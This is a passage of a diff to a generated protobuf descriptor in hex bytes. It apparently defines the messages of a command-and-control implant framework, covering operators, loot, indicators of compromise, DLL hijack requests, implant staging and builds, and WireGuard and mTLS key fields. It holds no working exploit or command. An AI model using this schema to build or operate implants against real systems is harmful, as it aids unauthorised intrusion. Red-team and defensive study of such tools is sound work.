0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x3d, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, - 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x09, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0xa2, 0x01, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, - 0x0a, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, - 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, - 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, - 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, - 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, - 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xbd, 0x01, 0x0a, 0x07, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, - 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, - 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, - 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, - 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, - 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, - 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, - 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, - 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, - 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, - 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, - 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, - 0x74, 0x70, 0x75, 0x74, 0x22, 0xef, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, - 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, - 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, - 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, - 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, - 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, - 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, - 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, - 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0x87, 0x02, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, - 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, - 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, - 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, - 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, - 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, - 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x54, 0x0a, 0x10, 0x52, 0x65, + 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x6f, 0x75, + 0x72, 0x63, 0x65, 0x49, 0x44, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x1a, 0x39, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x27, 0x0a, 0x0f, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x14, + 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x42, + 0x75, 0x69, 0x6c, 0x64, 0x22, 0xb2, 0x05, 0x0a, 0x0c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x4d, 0x44, 0x35, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4d, 0x44, 0x35, 0x12, 0x12, 0x0a, 0x04, 0x53, + 0x48, 0x41, 0x31, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x53, 0x48, 0x41, 0x31, 0x12, + 0x16, 0x0a, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, + 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, + 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x28, 0x0a, + 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, + 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, + 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, + 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, + 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, + 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, + 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, + 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, + 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a, + 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, + 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17, + 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, + 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50, + 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x18, 0x0e, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, + 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x12, 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x0f, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, + 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57, + 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x0a, + 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 